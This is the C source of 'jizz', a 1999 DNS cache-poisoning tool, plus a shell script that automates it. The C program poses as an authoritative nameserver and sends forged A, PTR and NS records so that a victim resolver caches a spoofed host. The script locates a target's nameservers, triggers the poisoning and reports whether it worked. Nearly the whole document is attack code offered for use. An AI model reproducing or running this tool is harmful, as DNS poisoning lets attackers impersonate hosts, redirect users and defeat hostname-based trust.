#define VERSION ".01b"
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <strings.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define MAXBUFSIZE		64*1024

#define DC_A            1
#define DC_NS           2
#define DC_CNAME        5
#define DC_SOA          6
#define DC_WKS          11
#define DC_PTR          12
#define DC_HINFO        13
#define DC_MINFO        14
#define DC_MX           15
#define DC_TXT          16

typedef struct
  {
    unsigned short id;

unsigned char  rd:
    1;           /* recursion desired */
unsigned char  tc:
    1;           /* truncated message */
unsigned char  aa:
    1;           /* authoritive answer */
unsigned char  opcode:
    4;       /* purpose of message */
unsigned char  qr:
    1;           /* response flag */

unsigned char  rcode:
    4;        /* response code */
unsigned char  unused:
    2;       /* unused bits */
unsigned char  pr:
    1;           /* primary server required (non standard) */
unsigned char  ra:
    1;           /* recursion available */

    unsigned short qdcount;
    unsigned short ancount;
    unsigned short nscount;
    unsigned short arcount;
  }
dnsheaderrec;

typedef struct
  {
    unsigned short labellen;
    char label[256];
    unsigned short type;
    unsigned short class;
    unsigned long ttl;
    unsigned short buflen;
    char buf[256];
  }
dnsrrrec;

typedef struct
  {
    dnsheaderrec h;

    dnsrrrec qd[20];
    dnsrrrec an[20];
    dnsrrrec ns[20];
    dnsrrrec ar[20];
  }
dnsrec;

char *dnssprintflabel(char *s, char *buf, char *p);
char *dnsaddlabel(char *p, char *label);
void dnstxt2rr(dnsrrrec *rr, char *b);
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
char *dnsaddbuf(char *p, void *buf, short len);
int dnsmakerawpacket(dnsrec *dns, char *buf);

unsigned long rev_long(l) unsigned long l;
{
  unsigned long i = 0;
  int n = sizeof(i);
  while (n--)
    {
      i = (i << 8) | (l & 255);
      l >>= 8;
    }
  return i;
}

char *dnssprintflabel(char *s, char *buf, char *p)
{
  unsigned short i,len;
  char *b=NULL;

  len=(unsigned short)*(p++);
  while (len)
    {
      while (len >= 0xC0)
        {
          if (!b)
            b=p+1;
          p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
          len=(unsigned short)*(p++);
        }

      for (i=0;i<len;i++)
        *(s++)=*(p++);

      *(s++)='.';

      len=(unsigned short)*(p++);
    }

  *(s++)=0;
  if (b)
    return(b);

  return(p);
}

char *dnsaddlabel(char *p, char *label)
{
  char *p1;

  while ((*label) && (label))
    {
      if ((*label == '.') && (!*(label+1)))
        break;

      p1=strchr(label,'.');

      if (!p1)
        p1=strchr(label,0);

      *(p++)=p1-label;
      memcpy(p,label,p1-label);
      p+=p1-label;

      label=p1;
      if (*p1)
        label++;
    }
  *(p++)=0;

  return(p);
}

#define DEFAULTTTL 60*10

void dnstxt2rr(dnsrrrec *rr, char *b)
{
  char *tok[20], *p;
  unsigned short numt=0, i;
  static char *buf=NULL;

  if (!buf)
    {
      if ((buf=malloc(1024)) == NULL)
        {
          perror("malloc");
          exit(-1);
        }
    }

  strcpy(buf,b);
  p=strtok(buf," \t");
  do
    {
      tok[numt++]=p;
    }
  while (p=strtok(NULL," \t"));

  p=dnsaddlabel(rr->label,tok[0]);
  rr->labellen=p-rr->label;

  i=1;

  if (isdigit(*p))
    rr->ttl=htonl(atol(tok[i++]));
  else
    rr->ttl=htonl(DEFAULTTTL);

  if (strcmp(tok[i],"IN") == 0)
    i++;

  rr->class=htons(1);

  if (strcmp(tok[i],"A") == 0)
    {
      i++;
      rr->type=htons(DC_A);
      if (i < numt)
        {
          inet_aton(tok[i],rr->buf);
          rr->buflen=4;
        }
      else
        rr->buflen=0;
      return;
    }

  if (strcmp(tok[i],"CNAME") == 0)
    {
      i++;
      rr->type=htons(DC_CNAME);
      if (i < numt)
        {
          p=dnsaddlabel(rr->buf,tok[i]);
          rr->buflen=p-rr->buf;
        }
      else
        rr->buflen=0;
      return;
    }

  if (strcmp(tok[i],"NS") == 0)
    {
      i++;
      rr->type=htons(DC_NS);
      if (i < numt)
        {
          p=dnsaddlabel(rr->buf,tok[i]);
          rr->buflen=p-rr->buf;
        }
      else
        rr->buflen=0;
      return;
    }

  if (strcmp(tok[i],"PTR") == 0)
    {
      i++;
      rr->type=htons(DC_PTR);
      if (i < numt)
        {
          p=dnsaddlabel(rr->buf,tok[i]);
          rr->buflen=p-rr->buf;
        }
      else
        rr->buflen=0;
      return;
    }

  if (strcmp(tok[i],"MX") == 0)
    {
      i++;
      rr->type=htons(DC_MX);
      if (i < numt)
        {
          p=rr->buf;
          *((unsigned short *)p)=htons(atoi(tok[i++]));
          p+=2;
          p=dnsaddlabel(p,tok[i]);
          rr->buflen=p-rr->buf;
        }
      else
        rr->buflen=0;
      return;
    }
}

void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
{
  int i;
  va_list va;

  dns->h.qdcount=htons(qdcount);
  dns->h.ancount=htons(ancount);
  dns->h.nscount=htons(nscount);
  dns->h.arcount=htons(arcount);
  dns->h.rcode=0;

  va_start(va, arcount);

  for (i=0;i<qdcount;i++)
    dnstxt2rr(&dns->qd[i],va_arg(va, char *));

  for (i=0;i<ancount;i++)
    dnstxt2rr(&dns->an[i],va_arg(va, char *));

  for (i=0;i<nscount;i++)
    dnstxt2rr(&dns->ns[i],va_arg(va, char *));

  for (i=0;i<arcount;i++)
    dnstxt2rr(&dns->ar[i],va_arg(va, char *));


  va_end(va);
}

char *dnsaddbuf(char *p, void *buf, short len)
{
  memcpy(p,buf,len);
  return(p+len);
}

int dnsmakerawpacket(dnsrec *dns, char *buf)
{
  char *p;
  int i;
  unsigned short len;

  memcpy(buf,&dns->h,sizeof(dnsheaderrec));

  p=buf+sizeof(dnsheaderrec);

  /********** Query ***********/
  for (i=0;i<ntohs(dns->h.qdcount);i++)
    {
      p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
      p=dnsaddbuf(p,&dns->qd[i].type,2);
      p=dnsaddbuf(p,&dns->qd[i].class,2);
    }

  /********** Answer ***********/
  for (i=0;i<ntohs(dns->h.ancount);i++)
    {
      p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
      p=dnsaddbuf(p,&dns->an[i].type,2);
      p=dnsaddbuf(p,&dns->an[i].class,2);
      p=dnsaddbuf(p,&dns->an[i].ttl,4);
      len=htons(dns->an[i].buflen);
      p=dnsaddbuf(p,&len,2);
      p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
    }

  /********** Nameservers ************/
  for (i=0;i<ntohs(dns->h.nscount);i++)
    {
      p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
      p=dnsaddbuf(p,&dns->ns[i].type,2);
      p=dnsaddbuf(p,&dns->ns[i].class,2);
      p=dnsaddbuf(p,&dns->ns[i].ttl,4);
      len=htons(dns->ns[i].buflen);
      p=dnsaddbuf(p,&len,2);
      p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
    }

  /********** Additional ************/
  for (i=0;i<ntohs(dns->h.arcount);i++)
    {
      p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
      p=dnsaddbuf(p,&dns->ar[i].type,2);
      p=dnsaddbuf(p,&dns->ar[i].class,2);
      p=dnsaddbuf(p,&dns->ar[i].ttl,4);
      len=htons(dns->ar[i].buflen);
      p=dnsaddbuf(p,&len,2);
      p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
    }

  return(p-buf);
}

void main(int argc, char *argv[])
{
  int sock, fromlen, numread, len, query;
  struct sockaddr_in sa, from, to;
  struct in_addr rev;
  char *buf, *sendbuf;
  char *domainnamebuf;
  dnsheaderrec *dns;
  char *p;
  dnsrec dnsh;

  char *beginhost_QD, *beginhost_A, *beginhost_srch;
  char *fakenshost_A, *fakens_DOM;
  char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;

  printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
  printf("by nimrood\n\n");
  if (argc != 7)
    {
      printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofedip> <spoofedhost>\n",argv[0]);
      printf("    beginhost  :     requested to initiate false caching, ex: begin.ib6ub9.com\n");
      printf("    fakenshost :     server name to answer false PTR's, ex: ns.ib6ub9.com\n");
      printf("    fakensip   :     IP of server name to answer false PTR's, ex: 205.160.29.19\n");
      printf("    fakensdom  :     domain name false name server controls, ex: ib6ub9.com\n");
      printf("    spoofedip  :     IP of machine you want to spoof from, ex: 204.154.2.93\n");
      printf("    spoofedhost:     name you want to spoof, ex: teak.0wns.j00\n\n");
      exit(-1);
    }

  if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((buf = malloc(MAXBUFSIZE)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((sendbuf = malloc(MAXBUFSIZE)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL)
    {
      perror("malloc");
      exit(-1);
    }

  if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
    {
      perror("socket");
      exit(-1);
    }

  beginhost_QD = strcpy(beginhost_QD,argv[1]);
  beginhost_QD = strcat(beginhost_QD, " IN A");

  beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");

  beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
  printf("%s\n",beginhost_srch);

  fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
  fakenshost_A = strcat(fakenshost_A, argv[3]);

  fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
  fakens_DOM = strcat(fakens_DOM,argv[2]);

  spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
  spoofedip_A = strcat(spoofedip_A,argv[5]);

  rev.s_addr = rev_long(inet_addr(argv[5]));
  spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), ".IN-ADDR.ARPA IN PTR ");
  spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);

  printf("%s\n%s\n%s\n%s\n%s\n%s\n",
         beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_PTR);

  sa.sin_family = AF_INET;
  /*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(53);

  if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0)
    {
      perror("bind");
      exit(-1);
    }

  setvbuf(stdout,NULL,_IONBF,0);

  while (1)
    {
      fromlen=sizeof(from);
      if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0)
        {
          perror("recvfrom");
          continue;
        }

      /* Kludge to stop that damn router */
      if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
        continue;

      dns=(dnsheaderrec *)buf;

      if (dns->qr)
        continue;

      p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
      query=ntohs(*(unsigned short *)p);
      printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);

      if (strcasecmp(domainnamebuf,beginhost_srch) == 0)
        {
          dnsbuildpacket(&dnsh,1,4,1,1,
                         beginhost_QD,

                         beginhost_A,
                         spoofedip_A,
                         spoofedip_PTR,
                         fakenshost_A,

                         fakens_DOM,

                         "www.yahoo.com IN A 255.255.255.255");

        }
      else
        {
          /* Error */
          dnsh.h.rcode=5;
          strcat(domainnamebuf," IN A");
          dnsbuildpacket(&dnsh,1,0,0,0,
                         domainnamebuf);
        }
      dnsh.qd[0].type=htons(query);

      dnsh.h.id=((dnsheaderrec *)buf)->id;
      dnsh.h.qr=1;
      dnsh.h.aa=1;

      len=dnsmakerawpacket(&dnsh,sendbuf);

      to.sin_family=AF_INET;
      to.sin_addr.s_addr=from.sin_addr.s_addr;
      to.sin_port=from.sin_port;

      if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0)
        {
          perror("sendto");
          continue;
        }
    }
}
/*                   www.hack.co.za              [1999]*/

--- begin jizz.sh ---

#!/bin/sh
#
# This script requires perl and the latest version of sh-utils for calculations,
# as well as other various standard unix utilities.
#
# This interface DOES NOT require you to know the cacheing nameserver of
# the destination server, it will attempt to calculate it for you.
#

case "${3}" in
  "")
  echo
  echo "Intelligent DNS spoofer interface, by philbert."
  echo "(philbert@DataTrax.Net)"
  echo
  echo "usage: $0 <your ip> <spoofed domain> <irc/misc server>"
  echo "or: $0 <your ip> <spoofed domain> -ns <NS to cache fake domain>"
  echo
  exit 1
  ;;
  esac

# ----------------------------------------------------------
# Set the configurations for your nameserver here

# The name of the nameserver this is running on:
  NS=ns3.datatrax.net

# The IP address of the nameserver this is running on:
     IP=1.2.3.4

# A domain that this nameserver is strictly authorative for:
        AUTH=spoof.datatrax.net

# End of user configuration
# ----------------------------------------------------------

             RAND=$RANDOM
                  export RAND

                  jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null &
                  sleep 1

                  if [ "$3" = "-ns" ]; then

                  echo "echo "trying to cache $2 on $4..."
                  nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1

                  echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-`

                  exit 1
                  else false ; fi

                    NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'`
                       if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi

                                                                 echo "trying to cache $2 on the server itself..."

                                                                 nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1

                                                                                TEST=`nslookup $1 $3 | grep Name | cut -c10-`

                                                                                     if [ "$TEST" = "$2" ]; then
                                                                                       echo "Success!, $2 is cached on $3 as $1"
                                                                                       else echo "Failed..."; fi

                                                                                         RDEST=`nslookup $NS | grep Name | cut -c10-`
                                                                                               if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi

                                                                                                                                    NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS`
                                                                                                                                       if [ "$NS" = "" ]; then
                                                                                                                                         NS=`echo $RDEST | cut -f2- -d.`
                                                                                                                                            NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS`
                                                                                                                                               else NS=$NS; fi

                                                                                                                                                         CRUNCH=1

                                                                                                                                                                while true ; do

                                                                                                                                                                    TARGET=`echo $NS | cut -f$CRUNCH -d" "`

                                                                                                                                                                           if [ "$TARGET" = "" ]; then
                                                                                                                                                                             killall -9 jizz >/dev/null &
                                                                                                                                                                             exit 1; else TARGET=$TARGET; fi

                                                                                                                                                                                                   echo "trying to cache $2 on $TARGET..."
                                                                                                                                                                                                   nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1
                                                                                                                                                                                                                  TEST=`nslookup $1 $TARGET | grep Name | cut -c10-`

                                                                                                                                                                                                                       if [ "$TEST" = "$2" ]; then
                                                                                                                                                                                                                         echo "Success!, $2 is cached on $TARGET as $1"
                                                                                                                                                                                                                         else echo "Failed..."; fi

                                                                                                                                                                                                                           CRUNCH=`expr $CRUNCH + 1`

                                                                                                                                                                                                                                  done

                                                                                                                                                                                                                                  --- end jizz.sh ---
